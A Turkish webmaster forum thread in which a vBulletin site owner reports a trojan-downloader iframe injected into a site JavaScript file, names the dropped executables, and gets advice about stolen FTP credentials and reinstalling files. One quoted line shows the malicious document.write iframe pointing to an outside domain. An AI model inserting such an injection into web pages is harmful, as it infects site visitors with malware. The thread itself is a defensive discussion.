Vbulletin yeni açık oha :S

sa

bugün siteme girdiğimde trojan downloader fark ettim.

clientscript/post_thanks.js

document.write ('<font id=font><iframe name="iFrame1" src="http://www.fuzzyyellowballs.com

böyle bir kod. Ftp girişlerine baktım login yok ama 1 şekilde jsye upload etmişler bunu.

Üstelik çok sağlam 3 trojan sisteme bulaşıyor.

Firefox.exe 80kb
first.exe 528kb
Windows Update.exe 528kb


arkadaşlar bu açığı nasıl kapatabilirim? çok önemli..

Açık değil bu. Sitene iframe virüsü girmiş.

Doğru

hocam ftp ye uzun zamandır girmiyorum nasıl oluyor da kendi kendine siteye iframe virüsü bulaşıyor?

sunucuda tek sizin sitemi var ayrıca pc keygoler alabilir şifrelerinizi değiştirin

Filezilla falan kullanıyorsanız orada şifreniz kayıtlı kalıyor, yada C-rackli bir ftp programı kullanıyorsanız ordanda sitenize virüs girmiş olabilir.

tüm vbulletin dosyalarını üzerine yazdırın (images hariç)